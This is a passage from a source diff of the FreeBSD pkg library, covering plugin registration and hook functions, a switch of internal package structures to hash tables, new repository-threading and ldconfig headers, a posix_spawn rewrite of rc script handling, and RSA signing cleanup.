+
	if (plugin_found == false) {
+
		pkg_emit_error("Plugin name '%s' was not found in the registry, cannot hook",
+
			       pluginname);
+
		return (EPKG_FATAL);
+
	}
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_register_cmd(const char *pluginname, pkg_plugins_cmd_callback callback)
+
{
+
	struct pkg_plugins *p = NULL;
+
	const char *pname = NULL;
+
	bool plugin_found = false;
+
	
+
	assert(pluginname != NULL);
+
	assert(callback != NULL);
+

+
	/* locate the plugin */
+
	while (pkg_plugins_list(&p) != EPKG_END) {
+
		pname = pkg_plugins_get(p, PKG_PLUGINS_NAME);
+
		if ((strcmp(pname, pluginname)) == 0) {
+
			p->exec_cmd = callback;
+
			plugin_found = true;
+
		}
+
	}
+

+
	if (plugin_found == false) {
+
		pkg_emit_error("Plugin name '%s' was not found in the registry, cannot hook",
+
			       pluginname);
+
		return (EPKG_FATAL);
+
	}
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_hook_run(pkg_plugins_hook_t hook, void *data, struct pkgdb *db)
+
{
+
	struct pkg_plugins *p = NULL;
+

+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		if (pkg_plugins_is_loaded(p))
+
			pkg_plugins_hook_exec(p, hook, data, db);
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_cmd_run(const char *cmd, int argc, char **argv)
+
{
+
	struct pkg_plugins *p = NULL;
+
	bool cmd_found = false;
+

+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		if ((pkg_plugins_is_loaded(p)) &&
+
		    (pkg_plugins_provides_cmd(p)) &&
+
		    (strcmp(cmd, pkg_plugins_get(p, PKG_PLUGINS_NAME)) == 0)) {
+
			cmd_found = true;
+
			p->exec_cmd(argc, argv);
+
		}
+

+
	if (cmd_found == false)
+
		return (EPKG_FATAL);
+
	else
+
		return (EPKG_OK);
+
}
+

+
const char *
+
pkg_plugins_get(struct pkg_plugins *p, pkg_plugins_key key)
+
{
+
	assert(p != NULL);
+

+
	return (p->fields[key].val);
+
}
+

+
bool
+
pkg_plugins_provides_cmd(struct pkg_plugins *p)
+
{
+
	assert(p != NULL);
+

+
	return ((p->exec_cmd == NULL) ? false : true);
+
}
+

+
bool
+
pkg_plugins_is_enabled(struct pkg_plugins *p)
+
{
+
	const char *enabled = NULL;
+
	bool is_enabled = false;
+

+
	assert(p != NULL);
+

+
	enabled = pkg_plugins_get(p, PKG_PLUGINS_ENABLED);
+

+
	if ((strcasecmp(enabled, "on") == 0) ||
+
	    (strcasecmp(enabled, "yes") == 0) ||
+
	    (strcasecmp(enabled, "true") == 0))
+
		is_enabled = true;
+

+
	return (is_enabled);
+
}
+

+
bool
+
pkg_plugins_is_loaded(struct pkg_plugins *p)
+
{
+
	bool is_loaded = false;
+

+
	assert(p != NULL);
+

+
	is_loaded = ((pkg_plugins_is_enabled(p)) && (p->lh != NULL));
+
	
+
	return (is_loaded);
+
}
+

+
int
+
pkg_plugins_display_loaded(void)
+
{
+
	struct pkg_plugins *p = NULL;
+

+
	if (STAILQ_EMPTY(&ph) || have_plugins_loaded == 0)
+
		return (EPKG_OK);
+

+
	printf("Plugin(s) loaded: [ ");
+
	
+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		if (pkg_plugins_is_loaded(p))
+
			printf("'%s' ", pkg_plugins_get(p, PKG_PLUGINS_NAME));
+

+
	printf("]\nSuccessfully loaded %d plugin(s)\n", have_plugins_loaded);
+
	
+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_list(struct pkg_plugins **plugin)
+
{
+
	assert(&ph != NULL);
+
	
+
	if ((*plugin) == NULL)
+
		(*plugin) = STAILQ_FIRST(&ph);
+
	else
+
		(*plugin) = STAILQ_NEXT((*plugin), next);
+

+
	if ((*plugin) == NULL)
+
		return (EPKG_END);
+
	else
+
		return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_init(void)
+
{
+
	struct pkg_plugins *p = NULL;
+

+
	/*
+
	 * Discover available plugins
+
	 */
+
	pkg_plugins_discover();
+

+
	/*
+
	 * Load any enabled plugins
+
	 */
+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		if (pkg_plugins_is_enabled(p))
+
			pkg_plugins_load(p);
+

+
	return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_shutdown(void)
+
{
+
	struct pkg_plugins *p = NULL;
+

+
	/*
+
	 * Unload any previously loaded plugins
+
	 */
+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		if (pkg_plugins_is_enabled(p))
+
			pkg_plugins_unload(p);
+

+
	/*
+
	 * Deallocate memory used by the plugins
+
	 */
+
	pkg_plugins_free();
+

+
	return (EPKG_OK);
+
}
modified libpkg/private/event.h
@@ -46,5 +46,6 @@ void pkg_emit_noremotedb(const char *);
void pkg_emit_nolocaldb(void);
void pkg_emit_file_mismatch(struct pkg *pkg, struct pkg_file *f, const char *newsum);
void pkg_emit_newpkgversion(void);
+
void pkg_emit_developer_mode(const char *fmt, ...);

#endif
added libpkg/private/ldconfig.h
@@ -0,0 +1,50 @@
+
/*-
+
 * Copyright (c) 1998 John D. Polstra
+
 * All rights reserved.
+
 *
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 *
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+
 * SUCH DAMAGE.
+
 *
+
 * $FreeBSD: stable/8/sbin/ldconfig/ldconfig.h 92882 2002-03-21 13:14:21Z imp $
+
 */
+

+
#ifndef LDCONFIG_H
+
#define LDCONFIG_H 1
+

+
#include <sys/cdefs.h>
+
#include <sys/queue.h>
+

+
extern int	insecure;	/* -i flag, needed here for elfhints.c */
+

+
__BEGIN_DECLS
+
void		shlib_list_init(void);
+
void		rpath_list_init(void);
+
const char     *shlib_list_find_by_name(const char *);
+
void		shlib_list_free(void);
+
void		rpath_list_free(void);
+
int		shlib_list_from_elf_hints(const char *);
+
int		shlib_list_from_rpath(const char *);
+

+
void		list_elf_hints(const char *);
+
void		update_elf_hints(const char *, int, char **, int);
+
__END_DECLS
+

+
#endif
modified libpkg/private/pkg.h
@@ -37,15 +37,38 @@
#include <sqlite3.h>
#include <openssl/sha.h>
#include <stdbool.h>
+
#include <uthash.h>

#include "private/utils.h"

#define PKG_NUM_FIELDS 18
+
#define PKG_NUM_SCRIPTS 8

#define EXTRACT_ARCHIVE_FLAGS  (ARCHIVE_EXTRACT_OWNER |ARCHIVE_EXTRACT_PERM | \
		ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_ACL | \
		ARCHIVE_EXTRACT_FFLAGS|ARCHIVE_EXTRACT_XATTR)

+
#define HASH_FREE(data, type, free_func) do {      \
+
	struct type *hf1, *hf2;                    \
+
	HASH_ITER(hh, data, hf1, hf2) {            \
+
		HASH_DEL(data, hf1);               \
+
		if (free_func != NULL)             \
+
			free_func(hf1);           \
+
	}                                          \
+
	data = NULL;                               \
+
} while (0)
+

+
#define HASH_NEXT(hash, data) do {            \
+
		if (data == NULL)             \
+
			data = hash;          \
+
		else                          \
+
			data = data->hh.next; \
+
		if (data == NULL)             \
+
			return (EPKG_END);    \
+
		else                          \
+
			return (EPKG_OK);     \
+
	} while (0)
+

#define LIST_FREE(head, data, free_func) do { \
	while (!STAILQ_EMPTY(head)) { \
		data = STAILQ_FIRST(head); \
@@ -55,111 +78,124 @@
	} while (0)

struct pkg {
-
	struct sbuf * fields[PKG_NUM_FIELDS];
-
	bool automatic;
-
	int64_t flatsize;
-
	int64_t new_flatsize;
-
	int64_t new_pkgsize;
-
	STAILQ_HEAD(categories, pkg_category) categories;
-
	STAILQ_HEAD(licenses, pkg_license) licenses;
-
	STAILQ_HEAD(deps, pkg_dep) deps;
-
	STAILQ_HEAD(rdeps, pkg_dep) rdeps;
-
	STAILQ_HEAD(files, pkg_file) files;
-
	STAILQ_HEAD(dirs, pkg_dir) dirs;
-
	STAILQ_HEAD(scripts, pkg_script) scripts;
-
	STAILQ_HEAD(options, pkg_option) options;
-
	STAILQ_HEAD(users, pkg_user) users;
-
	STAILQ_HEAD(groups, pkg_group) groups;
-
	STAILQ_HEAD(shlibs, pkg_shlib) shlibs;
-
	int flags;
-
	int64_t rowid;
-
	int64_t time;
-
	lic_t licenselogic;
-
	pkg_t type;
+
	struct sbuf	*fields[PKG_NUM_FIELDS];
+
	bool		 automatic;
+
	int64_t		 flatsize;
+
	int64_t		 new_flatsize;
+
	int64_t		 new_pkgsize;
+
	struct sbuf	*scripts[PKG_NUM_SCRIPTS];
+
	struct pkg_license *licenses;
+
	struct pkg_category *categories;
+
	struct pkg_dep *deps;
+
	struct pkg_dep *rdeps;
+
	struct pkg_file *files;
+
	struct pkg_dir *dirs;
+
	struct pkg_option *options;
+
	struct pkg_user *users;
+
	struct pkg_group *groups;
+
	struct pkg_shlib *shlibs;
+
	unsigned       	 flags;
+
	int64_t		 rowid;
+
	int64_t		 time;
+
	lic_t		 licenselogic;
+
	pkg_t		 type;
	STAILQ_ENTRY(pkg) next;
};

struct pkg_dep {
-
	struct sbuf *origin;
-
	struct sbuf *name;
-
	struct sbuf *version;
-
	STAILQ_ENTRY(pkg_dep) next;
+
	struct sbuf	*origin;
+
	struct sbuf	*name;
+
	struct sbuf	*version;
+
	UT_hash_handle	hh;
};

struct pkg_license {
-
	struct sbuf *name;
-
	STAILQ_ENTRY(pkg_license) next;
+
	/* should be enough to match a license name */
+
	char name[64];
+
	UT_hash_handle	hh;
};

struct pkg_category {
-
	struct sbuf *name;
-
	STAILQ_ENTRY(pkg_category) next;
+
	struct sbuf	*name;
+
	UT_hash_handle	hh;
};

struct pkg_file {
-
	char path[MAXPATHLEN +1];
-
	char sum[SHA256_DIGEST_LENGTH * 2 +1];
-
	char uname[MAXLOGNAME +1];
-
	char gname[MAXLOGNAME +1];
-
	int keep;
-
	mode_t perm;
-
	STAILQ_ENTRY(pkg_file) next;
+
	char		 path[MAXPATHLEN +1];
+
	char		 sum[SHA256_DIGEST_LENGTH * 2 +1];
+
	char		 uname[MAXLOGNAME +1];
+
	char		 gname[MAXLOGNAME +1];
+
	int		 keep;
+
	mode_t		 perm;
+
	UT_hash_handle	 hh;
};

struct pkg_dir {
-
	char path[MAXPATHLEN +1];
-
	char uname[MAXLOGNAME +1];
-
	char gname[MAXLOGNAME +1];
-
	mode_t perm;
-
	int keep;
-
	bool try;
-
	STAILQ_ENTRY(pkg_dir) next;
-
};
-

-
struct pkg_script {
-
	struct sbuf *data;
-
	pkg_script_t type;
-
	STAILQ_ENTRY(pkg_script) next;
+
	char		 path[MAXPATHLEN +1];
+
	char		 uname[MAXLOGNAME +1];
+
	char		 gname[MAXLOGNAME +1];
+
	mode_t		 perm;
+
	int		 keep;
+
	bool		 try;
+
	UT_hash_handle	 hh;
};

struct pkg_option {
-
	struct sbuf *key;
-
	struct sbuf *value;
-
	STAILQ_ENTRY(pkg_option) next;
+
	struct sbuf	*key;
+
	struct sbuf	*value;
+
	UT_hash_handle	hh;
};

struct pkg_jobs {
	STAILQ_HEAD(jobs, pkg) jobs;
-
	struct pkgdb *db;
-
	pkg_jobs_t type;
+
	struct pkgdb	*db;
+
	pkg_jobs_t	 type;
+
	unsigned	 flags;
};

+
typedef enum _pkg_job_flags {
+
	PKG_JOB_FLAGS_FORCE =	(1 << 0 ),
+
	PKG_JOB_FLAGS_DRY_RUN =	(1 << 1),
+
} pkg_job_flags;
+

struct pkg_jobs_node {
-
	struct pkg *pkg;
-
	size_t nrefs;
-
	struct pkg_jobs_node **parents; /* rdeps */
-
	size_t parents_len;
-
	size_t parents_cap;
+
	struct pkg	*pkg;
+
	size_t		 nrefs;
+
	struct pkg_jobs_node	**parents; /* rdeps */
+
	size_t		 parents_len;
+
	size_t		 parents_cap;
	LIST_ENTRY(pkg_jobs_node) entries;
};

struct pkg_user {
-
	char name[MAXLOGNAME+1];
-
	char uidstr[8192];/* taken from pw_util.c */
-
	STAILQ_ENTRY(pkg_user) next;
+
	char		 name[MAXLOGNAME+1];
+
	char		 uidstr[8192];/* taken from pw_util.c */
+
	UT_hash_handle	hh;
};

struct pkg_group {
-
	char name[MAXLOGNAME+1];
-
	char gidstr[8192]; /* taken from gw_util.c */
-
	STAILQ_ENTRY(pkg_group) next;
+
	char		 name[MAXLOGNAME+1];
+
	char		 gidstr[8192]; /* taken from gw_util.c */
+
	UT_hash_handle	hh;
};

struct pkg_shlib {
-
	struct sbuf *name;
-
	STAILQ_ENTRY(pkg_shlib) next;
+
	struct sbuf	*name;
+
	UT_hash_handle	hh;
};

+

+
/* sql helpers */
+

+
typedef struct _sql_prstmt {
+
	sqlite3_stmt	*stmt;
+
	const char	*sql;
+
	const char	*argtypes;
+
} sql_prstmt;
+

+
#define STMT(x) (sql_prepared_statements[(x)].stmt)
+
#define SQL(x)  (sql_prepared_statements[(x)].sql)
+

/**
 * rc script actions
 */
@@ -176,20 +212,22 @@ typedef enum {
 * required by other packages.
 * @return An error code.
 */
-
int pkg_delete(struct pkg *pkg, struct pkgdb *db, int flags);
+
int pkg_delete(struct pkg *pkg, struct pkgdb *db, unsigned flags);
#define PKG_DELETE_FORCE (1<<0)
#define PKG_DELETE_UPGRADE (1<<1)

+
int pkg_fetch_file_to_fd(const char *url, int dest, time_t t);
int pkg_repo_fetch(struct pkg *pkg);

int pkg_start_stop_rc_scripts(struct pkg *, pkg_rc_attr attr);

-
int pkg_script_run(struct pkg *, pkg_script_t type);
+
int pkg_script_run(struct pkg *, pkg_script type);

int pkg_add_user_group(struct pkg *pkg);
int pkg_delete_user_group(struct pkgdb *db, struct pkg *pkg);

-
int pkg_open2(struct pkg **p, struct archive **a, struct archive_entry **ae, const char *path, struct sbuf *mbuf);
+
int pkg_open2(struct pkg **p, struct archive **a, struct archive_entry **ae,
+
	      const char *path);

void pkg_list_free(struct pkg *, pkg_list);

@@ -208,9 +246,6 @@ void pkg_category_free(struct pkg_category *);
int pkg_license_new(struct pkg_license **);
void pkg_license_free(struct pkg_license *);

-
int pkg_script_new(struct pkg_script **);
-
void pkg_script_free(struct pkg_script *);
-

int pkg_option_new(struct pkg_option **);
void pkg_option_free(struct pkg_option *);

@@ -228,26 +263,36 @@ void pkg_shlib_free(struct pkg_shlib *);
struct packing;

int packing_init(struct packing **pack, const char *path, pkg_formats format);
-
int packing_append_file(struct packing *pack, const char *filepath, const char *newpath);
-
int packing_append_file_attr(struct packing *pack, const char *filepath, const char *newpath, const char *uname, const char *gname, mode_t perm);
-
int packing_append_buffer(struct packing *pack, const char *buffer, const char *path, int size);
-
int packing_append_tree(struct packing *pack, const char *treepath, const char *newroot);
+
int packing_append_file(struct packing *pack, const char *filepath,
+
			const char *newpath);
+
int packing_append_file_attr(struct packing *pack, const char *filepath,
+
			     const char *newpath, const char *uname,
+
			     const char *gname, mode_t perm);
+
int packing_append_buffer(struct packing *pack, const char *buffer,
+
			  const char *path, int size);
+
int packing_append_tree(struct packing *pack, const char *treepath,
+
			const char *newroot);
int packing_finish(struct packing *pack);
pkg_formats packing_format_from_string(const char *str);

-
int pkg_delete_files(struct pkg *pkg, int force);
-
int pkg_delete_dirs(struct pkgdb *db, struct pkg *pkg, int force);
+
int pkg_delete_files(struct pkg *pkg, bool force);
+
int pkg_delete_dirs(struct pkgdb *db, struct pkg *pkg, bool force);

int pkgdb_is_dir_used(struct pkgdb *db, const char *dir, int64_t *res);

int pkgdb_integrity_append(struct pkgdb *db, struct pkg *p);
int pkgdb_integrity_check(struct pkgdb *db);
-
struct pkgdb_it *pkgdb_integrity_conflict_local(struct pkgdb *db, const char *origin);
+
struct pkgdb_it *pkgdb_integrity_conflict_local(struct pkgdb *db,
+
						const char *origin);

int pkg_set_mtree(struct pkg *, const char *mtree);

+
/* pkg repo related */
+
int pkg_check_repo_version(struct pkgdb *db, const char *database);
+

/* pkgdb commands */
int sql_exec(sqlite3 *, const char *, ...);
+
int get_pragma(sqlite3 *, const char *sql, int64_t *res);

int pkgdb_load_deps(struct pkgdb *db, struct pkg *pkg);
int pkgdb_load_rdeps(struct pkgdb *db, struct pkg *pkg);
@@ -263,6 +308,9 @@ int pkgdb_load_group(struct pkgdb *db, struct pkg *pkg);
int pkgdb_load_shlib(struct pkgdb *db, struct pkg *pkg);

int pkgdb_register_pkg(struct pkgdb *db, struct pkg *pkg, int complete);
+
int pkgdb_update_shlibs(struct pkg *pkg, int64_t package_id, sqlite3 *s);
int pkgdb_register_finale(struct pkgdb *db, int retcode);

+
int pkg_register_shlibs(struct pkg *pkg);
+

#endif
modified libpkg/private/pkgdb.h
@@ -2,7 +2,7 @@
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
 * All rights reserved.
-
 * 
+
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
@@ -12,7 +12,7 @@
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
-
 * 
+
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
@@ -33,14 +33,16 @@
#include "sqlite3.h"

struct pkgdb {
-
	sqlite3 *sqlite;
-
	pkgdb_t type;
+
	sqlite3		*sqlite;
+
	pkgdb_t		 type;
+
	int		 lock_count;
+
	bool		 prstmt_initialized;
};

struct pkgdb_it {
-
	struct pkgdb *db;
-
	sqlite3_stmt *stmt;
-
	int type;
+
	struct pkgdb	*db;
+
	sqlite3_stmt	*stmt;
+
	int		 type;
};

int pkgdb_lock(struct pkgdb *db);
added libpkg/private/thd_repo.h
@@ -0,0 +1,67 @@
+
/*
+
 * Copyright (c) 2012 Julien Laffaye <jlaffaye@FreeBSD.org>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#ifndef _PKG_THD_REPO_H
+
#define _PKG_THD_REPO_H
+

+
#include <sys/queue.h>
+
#include <sys/types.h>
+
#include <pthread.h>
+

+
struct pkg_result {
+
	struct pkg *pkg;
+
	char path[MAXPATHLEN + 1];
+
	char cksum[SHA256_DIGEST_LENGTH * 2 + 1];
+
	off_t size;
+
	int retcode; /* to pass errors */
+
	STAILQ_ENTRY(pkg_result) next;
+
};
+

+
struct thd_data {
+
	char *root_path;
+
	unsigned int max_results;
+

+
	/*
+
	 * `fts_m' protects `fts' and `stop'
+
	 */
+
	pthread_mutex_t fts_m;
+
	FTS *fts;
+
	bool stop;
+

+
	/*
+
	 * `results_m' protects `results', `thd_finished' and `num_results'
+
	 */
+
	pthread_mutex_t results_m;
+
	pthread_cond_t has_result;
+
	pthread_cond_t has_room;
+
	STAILQ_HEAD(results, pkg_result) results;
+
	unsigned int num_results;
+
	int thd_finished;
+
};
+

+
void read_pkg_file(void *);
+

+
#endif
modified libpkg/private/utils.h
@@ -32,6 +32,7 @@
#include <sys/sbuf.h>
#include <sys/param.h>

+
#include <openssl/pem.h>
#include <openssl/sha.h>

#define STARTS_WITH(string, needle) (strncasecmp(string, needle, strlen(needle)) == 0)
@@ -45,6 +46,17 @@ struct hardlinks {
	size_t cap;
};

+
struct dns_srvinfo {
+
	unsigned int type;
+
	unsigned int class;
+
	unsigned int ttl;
+
	unsigned int priority;
+
	unsigned int weight;
+
	unsigned int port;
+
	char host[MAXHOSTNAMELEN];
+
	struct dns_srvinfo *next;
+
};
+

void sbuf_init(struct sbuf **);
int sbuf_set(struct sbuf **, const char *);
char * sbuf_get(struct sbuf *);
@@ -68,4 +80,8 @@ int rsa_verify(const char *path, const char *key,
		unsigned char *sig, unsigned int sig_len);

bool is_hardlink(struct hardlinks *hl, struct stat *st);
+

+
struct dns_srvinfo *
+
	dns_getsrvinfo(const char *zone);
+

#endif
modified libpkg/rcscripts.c
@@ -28,15 +28,19 @@

#include <errno.h>
#include <fcntl.h>
+
#include <spawn.h>
#include <string.h>
#include <unistd.h>

#include "pkg.h"
#include "private/pkg.h"
+
#include "private/event.h"

static int rc_stop(const char *);
static int rc_start(const char *);

+
extern char **environ;
+

int
pkg_start_stop_rc_scripts(struct pkg *pkg, pkg_rc_attr attr)
{
@@ -54,8 +58,8 @@ pkg_start_stop_rc_scripts(struct pkg *pkg, pkg_rc_attr attr)
	len = strlen(rc_d_path);

	while (pkg_files(pkg, &file) == EPKG_OK) {
-
		if (strncmp(rc_d_path, pkg_file_get(file, PKG_FILE_PATH), len) == 0) {
-
			rcfile = pkg_file_get(file, PKG_FILE_PATH);
+
		if (strncmp(rc_d_path, pkg_file_path(file), len) == 0) {
+
			rcfile = pkg_file_path(file);
			rcfile += len;
			rc = strrchr(rcfile, '/');
			rc++;
@@ -76,30 +80,29 @@ pkg_start_stop_rc_scripts(struct pkg *pkg, pkg_rc_attr attr)
static int
rc_stop(const char *rc_file)
{
-
	int pstat;
-
	int fd;
+
	int error, pstat;
	pid_t pid;
+
	posix_spawn_file_actions_t actions;
+
	const char *argv[4];

	if (rc_file == NULL)
		return (0);

-
	switch ((pid = fork())) {
-
		case -1:
-
			return (-1);
-
		case 0:
-
			/* child */
-
			/*
-
			 * We don't need to see the output
-
			 */
-
			fd = open("/dev/null", O_WRONLY);
-
			dup2(fd, STDERR_FILENO);
-
			dup2(fd, STDOUT_FILENO);
-
			execl("/usr/sbin/service", "service", rc_file, "onestatus", (char *)NULL);
-
			_exit(1);
-
			/* NOT REACHED */
-
		default:
-
			/* parent */
-
			break;
+
	argv[0] = "service";
+
	argv[1] = rc_file;
+
	argv[2] = "onestatus";
+
	argv[3] = NULL;
+

+
	if ((error = posix_spawn_file_actions_init(&actions)) != 0 ||
+
	    (error = posix_spawn_file_actions_addopen(&actions,
+
	    STDOUT_FILENO, "/dev/null", O_RDONLY, 0)) != 0 ||
+
	    (error = posix_spawn_file_actions_addopen(&actions,
+
	    STDERR_FILENO, "/dev/null", O_RDONLY, 0)) != 0 ||
+
	    (error = posix_spawn(&pid, "/usr/sbin/service", &actions, NULL,
+
	    __DECONST(char **, argv), environ)) != 0) {
+
		errno = error;
+
		pkg_emit_errno("Cannot query service", rc_file);
+
		return (-1);
	}

	while (waitpid(pid, &pstat, 0) == -1) {
@@ -110,17 +113,15 @@ rc_stop(const char *rc_file)
	if (WEXITSTATUS(pstat) != 0)
		return (0);

-
	switch ((pid = fork())) {
-
		case -1:
-
			return (-1);
-
		case 0:
-
			/* child */
-
			execl("/usr/sbin/service", "service", rc_file, "stop", (char *)NULL);
-
			_exit(1);
-
			/* NOT REACHED */
-
		default:
-
			/* parent */
-
			break;
+
	posix_spawn_file_actions_destroy(&actions);
+

+
	argv[2] = "stop";
+

+
	if ((error = posix_spawn(&pid, "/usr/sbin/service", NULL, NULL,
+
	    __DECONST(char **, argv), environ)) != 0) {
+
		errno = error;
+
		pkg_emit_errno("Cannot stop service", rc_file);
+
		return (-1);
	}

	while (waitpid(pid, &pstat, 0) == -1) {
@@ -134,23 +135,23 @@ rc_stop(const char *rc_file)
static int
rc_start(const char *rc_file)
{
-
	int pstat;
+
	int error, pstat;
	pid_t pid;
+
	const char *argv[4];

	if (rc_file == NULL)
		return (0);

-
	switch ((pid = fork())) {
-
		case -1:
-
			return (-1);
-
		case 0:
-
			/* child */
-
			execl("/usr/sbin/service", "service", rc_file, "quietstart", (char *)NULL);
-
			_exit(1);
-
			/* NOT REACHED */
-
		default:
-
			/* parent */
-
			break;
+
	argv[0] = "service";
+
	argv[1] = rc_file;
+
	argv[2] = "quietstart";
+
	argv[3] = NULL;
+

+
	if ((error = posix_spawn(&pid, "/usr/sbin/service", NULL, NULL,
+
	    __DECONST(char **, argv), environ)) != 0) {
+
		errno = error;
+
		pkg_emit_errno("Cannot stop service", rc_file);
+
		return (-1);
	}

	while (waitpid(pid, &pstat, 0) == -1) {
modified libpkg/rsa.c
@@ -48,7 +48,8 @@ _load_rsa_private_key(char *rsa_key_path, pem_password_cb *password_cb)
		return (NULL);
	}

-
	if ((rsa = PEM_read_RSAPrivateKey(fp, 0, password_cb, rsa_key_path)) == NULL) {
+
	rsa = PEM_read_RSAPrivateKey(fp, 0, password_cb, rsa_key_path);
+
	if (rsa == NULL) {
		fclose(fp);
		return (NULL);
	}
@@ -69,9 +70,9 @@ _load_rsa_public_key(const char *rsa_key_path)
		return (NULL);
	}

-
	if (!PEM_read_RSA_PUBKEY( fp, &rsa, NULL, NULL )) {
+
	if (!PEM_read_RSA_PUBKEY(fp, &rsa, NULL, NULL)) {
		pkg_emit_error("error reading public key(%s): %s", rsa_key_path,
-
					   ERR_error_string(ERR_get_error(), errbuf));
+
		    ERR_error_string(ERR_get_error(), errbuf));
		fclose(fp);
		return (NULL);
	}
@@ -81,11 +82,13 @@ _load_rsa_public_key(const char *rsa_key_path)
}

int
-
rsa_verify(const char *path, const char *key, unsigned char *sig, unsigned int sig_len)
+
rsa_verify(const char *path, const char *key, unsigned char *sig,
+
    unsigned int sig_len)
{
	char sha256[SHA256_DIGEST_LENGTH *2 +1];
	char errbuf[1024];
	RSA *rsa = NULL;
+
	int ret;

	sha256_file(path, sha256);

@@ -97,9 +100,10 @@ rsa_verify(const char *path, const char *key, unsigned char *sig, unsigned int s
	if (rsa == NULL)
		return(EPKG_FATAL);

-
	if (RSA_verify(NID_sha1, sha256, sizeof(sha256), sig, sig_len, rsa) == 0) {
+
	ret = RSA_verify(NID_sha1, sha256, sizeof(sha256), sig, sig_len, rsa);
+
	if (ret == 0) {
		pkg_emit_error("%s: %s", key,
-
					   ERR_error_string(ERR_get_error(), errbuf));
+
		    ERR_error_string(ERR_get_error(), errbuf));
		return (EPKG_FATAL);
	}

@@ -114,7 +118,7 @@ rsa_sign(char *path, pem_password_cb *password_cb, char *rsa_key_path,
		unsigned char **sigret, unsigned int *siglen)
{
	char errbuf[1024];
-
	int max_len = 0;
+
	int max_len = 0, ret;
	RSA *rsa = NULL;
	char sha256[SHA256_DIGEST_LENGTH * 2 +1];

@@ -129,12 +133,18 @@ rsa_sign(char *path, pem_password_cb *password_cb, char *rsa_key_path,
	OpenSSL_add_all_ciphers();

	rsa = _load_rsa_private_key(rsa_key_path, password_cb);
+
	if (rsa == NULL) {
+
		pkg_emit_error("can't load key from %s", rsa_key_path);
+
		return EPKG_FATAL;
+
	}
+

	max_len = RSA_size(rsa);
	*sigret = calloc(1, max_len + 1);

	sha256_file(path, sha256);

-
	if (RSA_sign(NID_sha1, sha256, sizeof(sha256), *sigret, siglen, rsa) == 0) {
+
	ret = RSA_sign(NID_sha1, sha256, sizeof(sha256), *sigret, siglen, rsa);
+
	if (ret == 0) {
		/* XXX pass back RSA errors correctly */
		pkg_emit_error("%s: %s", rsa_key_path,
					   ERR_error_string(ERR_get_error(), errbuf));
modified libpkg/scripts.c
@@ -26,24 +26,44 @@
